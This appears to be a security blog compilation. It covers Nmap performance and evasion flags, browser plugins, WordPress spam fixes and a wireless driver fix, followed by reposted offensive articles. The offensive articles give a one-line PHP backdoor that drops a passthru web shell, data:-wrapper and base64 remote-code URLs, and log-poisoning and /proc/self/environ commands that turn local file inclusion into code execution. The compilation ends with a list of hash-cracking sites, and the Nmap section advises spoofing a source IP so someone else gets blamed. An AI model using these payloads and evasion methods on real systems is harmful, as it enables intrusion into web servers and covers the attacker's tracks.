Nmap performance and evasion

Performance

-T: Set timing template (higher is faster)
Higher is faster, but easier to detect. -T4 is a good choice for speed.

--osscan-limit: Limit OS detection to promising targets
Skips online against hosts with no open ports, to speed up the scan.

-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
Turn of DNS resolution. For example for large internal networks.

--min-hostgroup : Parallel host scan group sizes
To increase the size of parallel scanned groups, for large networks. For example 500.

--max-rtt-timeout
The response of a probe will return within

--min-rate : Send packets no slower than per second
Nmap will send no less then of packets per second. For example 1000. Its good to combine with

--max-retries : Caps number of port scan probe retransmissions.
To lower the retransmit rate on stable networks, you can set it even to 0 if you are very confident that no packet will be dropped ;]

Evasion

--data-length : Append random data to sent packets
Makes the scan less suspicious, evades default Snort rule for zero-byte pings.
For example, to emulate a ping from Widnows set the value to 32, forlinux to 56.

-T 0 Set timing template
The paranoid timing is to wait 5min for a probe ehm.. the 15sec option will do it too ;]

Or you can fine tune it with

--scan-delay 1000
Delay between probes

--min-rtt-timeout
To scan only one target at a time.

-f; --mtu : fragment packets (optionally w/given MTU)
The good old packet fragmentation.

-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
You can specify decoys to hide your scan in a list of fake scan sources.
ME represents where your host will be placed in the list,a good choice is a value greater than 6.
You can even use RND: to generate random addresses.

-S <IP_Address>: Spoof source address
The results will be sent to the spoofed address and not to you.
In case tou want some else to blamed and annoyt the IDS.

--scanflags : Customize TCP scan flags
To set specifig flags, FINPSH is like Xmass scan without URG

--dns-servers or -n
to avoid reverse DNS lookups that can query targets DNS servers.

Browser plugins 2013

Firefox

Adblock Plus – adverts, tracking, banners
Click&Clean – clean history, cache, cookies, flash LSO,..
Cookies Manager+ – cookie editing, creating
Exif Viewer or FxIF – view exif info
Flashblock – blocks flash ;]
Disconnect me – tracking and more
HTTPS everywhere – force https
Hackbar – usefull stuff
HTML Regex Data Extractor – regex extract from html source
Live HTTP Headers – http headers
NoScript – a must have
Proxy Selector – simple proxy select
Wappalyzer – identifies software on websites

Chrome
Disconnect me – tracking and more
HTTPS everywhere – force https
Adblock Plus adverts, tracking, banners
cookie editor – cookies
and
19 Extensions to Turn Google Chrome into Penetration Testing tool

WordPress comment spam

You have comments disabled in your updated WordPress, trackback turned off, CAPTCHA in place, and spam comments still popup? Hope this short post will bring more light into your situation and offer a quick help.

The possible reason for the spam is, no surprise, trackback (pingback). The setting ”Allow link notifications from other blogs (pingbacks and trackbacks) ” won’t allow trackbacks in the new posts, but all of your older posts still have trackback enabled. To check the trackback status of your post from mysql, use the following query :

SELECT ping_status FROM wp_posts;

And afterwards, set the status to “closed” to disable trackback fro all posts:

UPDATE wp_posts SET ping_status="closed";

If you want to delete all the unapproved comments without mercy, just run:

DELETE FROM wp_comments WHERE comment_approved="0";

And remember, XML-RPC functionality is turned on by default since WordPress 3.5 and can’t be disabled in WordPress settings anymore.
A quick easy way to disable it is for example by using .htaccess :

<Files xmlrpc.php>
Order Deny,Allow
Deny from all
Allow from 192.168.1.1
Allow from 192.168.2.20
</Files>

In case you wonder why you should consider disabling pingback (and update), please read this post about misusing pingback.
The issue was fixed in WordPress 3.5.1

Ovislink Airlive WL-1600USB on BackTrack5 (BT5-r2 3.2.6)

If you are searching for the reason (and solution) why your precious Ovislink Airlive WL-1600USB is not working under Backtrack5 (BT5-r2 kernel 3.2.6),
or some other favourite distro, even if listed as supported….you are at right place (finally).

So you have inserted your WL-1600USB into the usb slot, you see that a new device was plugged in in /var/log/messages .
You modprobe the rtl8187 driver to get your wlan1 to work and…


root@bt:~# modprobe rtl8187
root@bt:~# iwconfig
lo no wireless extensions.

wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=14 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

eth0 no wireless extensions.

… and nothing?? WTF??!!!111oneone

You checks the usb devices list and…

root@bt:~# lsusb -v | grep Ovislink
Bus 001 Device 002: ID 1b75:8189 Ovislink Corp.

… it’s there. So why is it not working?

And this is why. Please pay atention to the lines marked bold.

root@bt:~# lsusb -v | grep -A 15 "Device 002"
Bus 001 Device 002: ID 1b75:8189 Ovislink Corp.
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x1b75 Ovislink Corp.
idProduct 0x8189
bcdDevice 2.00
iManufacturer 1 Manufacturer_Realtek
iProduct 2 AirLive WL1600USB
iSerial 3 00e04c000001
bNumConfigurations 1

root@bt:~# modinfo rtl8187 | grep 1B75
alias: usb:v1B75p8187d*dc*dsc*dp*ic*isc*ip*

WTF?! Yes, the product id is indeed different on the card than the used by the driver to identify the card.
0×8189 (device) != 0×8187 (driver)
Because of this the driver couldn’t recognize the card.

To fix this issue and make the “alien” card work, just edit your udev configuration (marked bold)

root@bt:~# cat /etc/udev/rules.d/70-persistent-net.rules
# This file was automatically generated by the /lib/udev/write_net_rules
# program, run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single
# line, and change only the value of the NAME= key.

# PCI device 0x1969:0x1062 (atl1c)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="bc:ae:c5:22:60:ca", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

# PCI device 0x168c:0x002b (ath9k)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="48:5d:60:70:8a:79", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlan0"

# ovislink airlive wl-1600usb
ACTION=="add", SUBSYSTEM=="usb", ATTR{idVendor}=="1b75", ATTR{idProduct}=="8189", RUN+="/sbin/modprobe -qba rtl8187"

# USB device 0x1b75:0x8189 (usb)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:4f:78:01:be:ae", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlan1"

And add a rule for modprobe (marked bold).

root@bt:~# cat /etc/modprobe.d/network_drivers.conf
install rtl8187 /sbin/modprobe --ignore-install rtl8187 $CMDLINE_OPTS; /bin/echo "1b75 8189" > /sys/bus/usb/drivers/rtl8187/new_id

And now let’s test it again….

modprobe rtl8187


root@bt:~# lsmod | grep rtl8187
rtl8187 56108 0
mac80211 428323 2 rtl8187,ath9k
cfg80211 165723 4 rtl8187,ath9k,mac80211,ath
eeprom_93cx6 12952 1 rtl8187

So far so good…

root@bt:~# iwconfig
lo no wireless extensions.

wlan1 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=14 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

eth0 no wireless extensions.

root@bt:~# airmon-ng start wlan1
Interface Chipset Driver

wlan1 Realtek RTL8187BvB(early) rtl8187 - [phy1]
(monitor mode enabled on mon0)

wlan0 Atheros AR9285 ath9k - [phy0]

Yeaaaaah! wlan1 up and ready to play! Enjoy.
Hope i saved you some time of UTFG and screaming of WTF during the night ;]

Thanks to the people at JEZGRA.NET, who noticed this and pointed to this fact, and reduced my WTF/minute ratio.
http://linux.jezgra.net/2012/01/airlive-wl-1600usb

(repost) Micro PHP LFI Backdoor

I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:

http://www.example.com/index.php?language=../../../../../../etc/passwd%00

The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):

<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):

http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami

If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.

from comments:

I have a pretty effective LFI backdoor which won’t require any file loading at all!

Taking advantage of PHP’s RFC 2397 support (http://php.net/manual/en/wrappers.data.php), you can inject the PHP code you want executed directly into the URL. With that said, using your above example:

http://www.example.com/index.php?language=data:,?&cmd=whoami

I’ve tested it out using several methods, including the support for base64 encoding:

http://www.example.com/index.php?language=data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami


Using the base64 encoding, you may be able to shorten your injection pending that they have size restrictions.

Also notice above, when using $_GET[cmd], there aren’t any quotes used. This still works effectively and it comes in handy if the server has magic_quotes enabled ;)

source: http://ha.ckers.org/blog/20100128/micro-php-lfi-backdoor/

(repost) LFI2RCE (Local File Inclusion to Remote Code Execution) advanced exploitation: /proc shortcuts

This paper exposes the ability from the attacker standpoint to use /proc in order to exploit LFI (Local File Inclusion) vulnerabilities. While using /proc for such aim is well known this one is a specific technique that was not been previously published as far as we know. A tool to automatically exploit LFI using the shown approach is released accordingly.

Update: a third (known) technique has been dissected here: http://www.ush.it/2008/07/09/local-file-inclusion-lfi-of-session-files-to-root-escalation/

LFI2RCE advanced exploitation: /proc shortcuts

On UNIX systems, especially on Linux /proc is the preferred userspace
interface used for a number of things, especially process information.
This article will expose a technique that uses /proc/%{PID}/fd/%{FD_ID}
to implicitly find the location of the logfile containing the attacker’s
payload. Enjoy reading this article by kuza55 and ascii (-;

It’s known that LFI (Local File Inclusion) vulnerabilities can be
exploited in a way that converts them in RCE (Remote Code Execution).

The malicious payload must exist locally, on the filesystem, but since
the attacker is commonly not able to directly upload/create a file,
logs are used. By their intrinsic nature logfiles contain data
that is driven by users (eg: the log will contain user inputs of some
sort). Logfiles that don’t present this behaviour are not valid
candidates.

The trick is to make these logs contain a base payload that will be
later interpreted and executed when the logfile is included. This
technique itself is know from many years (milw0rm.com/exploits/34 is
dated 2003-05-29 but it’s even older).

On a UNIX system multiple logfiles can be used for this scope: xfer log
(“Transfer log”) using specially crafted filenames during FTP transfers,
fail.log using a crafted username and performing a failed login on the
FTP server, etc.

While the path of these files is almost always known (they stay in
/var/ with weak permissions, masked 022) the service could be not
present or unreachable from outside (think of an IP that exposes only
https?). For this reason access_log and error_log are the most used to
perform this type of attack since it’s auto-contained (uses only
resources provided by the webserver, a component that is hardly missing
in this scenario!).

If needed let few commands make things even clearer:

# echo -en "USER evil_payload\nPASS secr3t\n\n" | nc localhost 21
220 (vsFTPd 1.2.3)
331 Please specify the password.
530 Login incorrect.
530 Please login with USER and PASS.
$ cat /var/log/vsftpd.log
Thu Jul 10 02:33:22 2008 [pid 27931] CONNECT: Client "127.0.0.1"
Thu Jul 10 02:33:24 2008 [pid 27930] [evil_payload] FAIL LOGIN: Client "127.0.0.1"
$ curl "http://localhost/index.php?page=../../../var/log/vsftpd.log%00"

Note1: This general concept is often applied to PHP applications but is
valid also on other environments.

Note2: On Windows the story is similar and LFI2RCE conversions still
apply but obviously not the specific /proc technique presented.

To overcome the need to know the location of (access|error)_log (could be
guessable by bruteforcing against a list of known locations or obtained
from configuration files) it’s possible to directly access it by its
file descriptor entry in /proc (a symlink to the real location).

Warning! Achtung! Attenzione! This means that the proposed technique
can’t bypass any filesystem acl. It won’t magically exploit the target.
The “injected” logfile must be readable by the interpreter as in any
normal LFI (for example won’t work on Debian default vhost logs since
they are readable only by root).

Including /proc/31508/fd/5 the lstat64() and readlink() magic will
drive directly to the obscure and hard to guess location of access_log
(/home/www.example.com/private/.rawlogs/access.log in this example).

In this attack the only variables are the process ID of a disposable
apache thread/mod_* and the file descriptor number (with the first three
reserved for stdin,out,err). As said before the process ID must be the
one of some application with an open file descriptor to the target and
Apache satisfies this requirement, this means that in case of mod_* it’s
possible to directly use /proc/self since interpreter execution happens
inside Apache. When CGIs are used it’s possible to go back up to the
Apache PID reading the 4rd column /proc/self/stat (if necessary iterate).

Since mod_php is the common case /proc/self is normally enough to carry
a successful attack, this makes the process uninfluenced by the presence
of Grsec user only /proc for example.

The second variable was the file descriptor number and greatly depends
on the target setup and load since file descriptors can belong to a
range of resources like pipes, sockets and naturally files. Some of the
fd points to logfiles and only two of them are the ones of the target
vhost. At the moment of writing we are unaware of methods to directly
guess the right number but the tool attached to this document speeds up
the process and automatically gives hints on the logfile type and usage.

Note that fd to logfiles are the first opened by apache and this is
especially true for non threaded MPMs like prefork. In such condition
the right fd number mainly depends on the number of vhosts loaded before
the one containing the vulnerable application under attack.

As final attack the right /proc/self/fd/X will be included and the
injected payload executed.

While writing this article and trying to give a complete and accurate
information a paper came to our attention: “LOCAL FILE INCLUSIONS
by G-Brain” (http://www.g-brain.net/tutorials/local-file-inclusions.txt).

It exposes a similar and possibly better technique we were not aware
of that is self-contained (doesn’t require two different stages, one
to inject the payload in the log and one to actually include the
logfile) and non resilient (doesn’t leave any payload in logs).

Summarizing /proc/self/environ contains user inputs (like an env var
named HTTP_USER_AGENT containing the data specified in the User-Agent
request header) that turn it in a useful volatile storage for LFI2RCE
attacks. It also contains other user controlled data beyond UA.


curl "http://example.com/index.php?page=../../../proc/self/environ&cmd=ls"
-H "User-Agent: PHP_RCE: <?php passthru(\$_GET['cmd']) ?>"

The greatest advantage of this attack is that the whole path is static
and known, on the other side I had no luck in making it work on most of
my machines (Failed to open stream: Permission denied).

Now that you known the details of /proc LFI exploitation it’s time to
explain the disadvantages correlated to /proc and the setups exposed
techniques will not work.

Logfiles owned by root and readable only by root: this is the vanilla
setup (at least for Gentoo and Debian) for the default vhost. Experience
teaches us that additional vhosts are often configured manually and
differently. This is possible since the fd’s are opened before dropping
privileges.

Safe mode/openbasedir: if openbasedir is correctly configured /proc is
no more accessible, on the other side logfiles could reside in an
allowed path (ex: open_basedir=/home, access_log at
/home/www.example.com/logs/www_access.log). Note that mass vhoster
clone a “skeletor” when creating new users, so the path to logfiles
could be guessed also by subscribing to the service.

Chroot without proc: the interpreter could run inside a chroot, in this
case /proc could be unexisting or the files linked by proc unreachable.

Grsec user only /proc plus CGI setup: if the interpreter process
belongs to a specific user that is different from the one running Apache
it will be impossible to access /proc/apache_pid/*.

Theoretical details are over, time for the code! To demonstrate our
technique (LFI2RCE using /proc/self/fd) this demo tool has been coded,
it’s in bash, if that disgusts you feel free to convert it into your
favorite language (-;

The tool:

http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.sh

A nice demo for the impatients:

http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.demo.txt

* http://www.g-brain.net/tutorials/local-file-inclusions.txt
Last-Modified: Mon, 24 Mar 2008 12:52:49 GMT

A text version of the above article can be found here: http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt

source : http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/

Various Online Password Crackers (carnal0wnage)

Just a list of online (mostly) md5 crackers but some with do others

This post over on pcsec got me thinking about them.

http://www.pcsec.org/archives/MD5Seacrh-v18-by-mass.html

Of course not all those are working, least not for me.

So here is that list with links and a few others thanks to my twitter homies

passcracking.ru http://passcracking.ru/
md5crack http://md5crack.com/
md5decryption: http://md5decryption.com/
TheKaine.de: http://md5.thekaine.de/
AuthSecu: http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/decrypter-dechiffrer-cracker-hash-md5.php

hackcrack: http://hashcrack.com/index.php
insidepro: http://hash.insidepro.com/
md5decrypter: http://md5decrypter.com/
md5pass.info: http://md5pass.info/

Bonus points for two of the sites from the screen shot just giving you a parallels plesk login.

Sites specifically mentioned to me in no particular order

Plain-Text.info http://plain-text.info/add/ (also has IRC support)

Hashkiller: http://hashkiller.com/password/
Cryptohaze: http://www.cryptohaze.com/addhashes.php
md5rednoize: http://md5.rednoize.com/
milw0rm: http://milw0rm.com/cracker/insert.php
GData: http://gdataonline.com/seekhash.php
c0llision: http://www.c0llision.net/webcrack.php (also has IRC support)

ISC: http://isc.sans.org/tools/reversehash.html

PassCracking http://passcracking.com/

Lastly, for fun, a metasploit module that submits the hash to md5crack.com and displays the password if its found.

msf auxiliary(md5check_md5crack) > run

[*] Sending 098f6bcd4621d373cade4e832627b4f6 hash to md5crack.com…
[*] plaintext md5 is: test
[*] Auxiliary module execution completed

I started to do more than just md5crack but writing regex’s for different sites just seemed like a waste of time.

http://carnal0wnage.attackresearch.com/sites/default/files/md5check_md5c… (rename to .rb)

repost from: http://carnal0wnage.attackresearch.com/node/402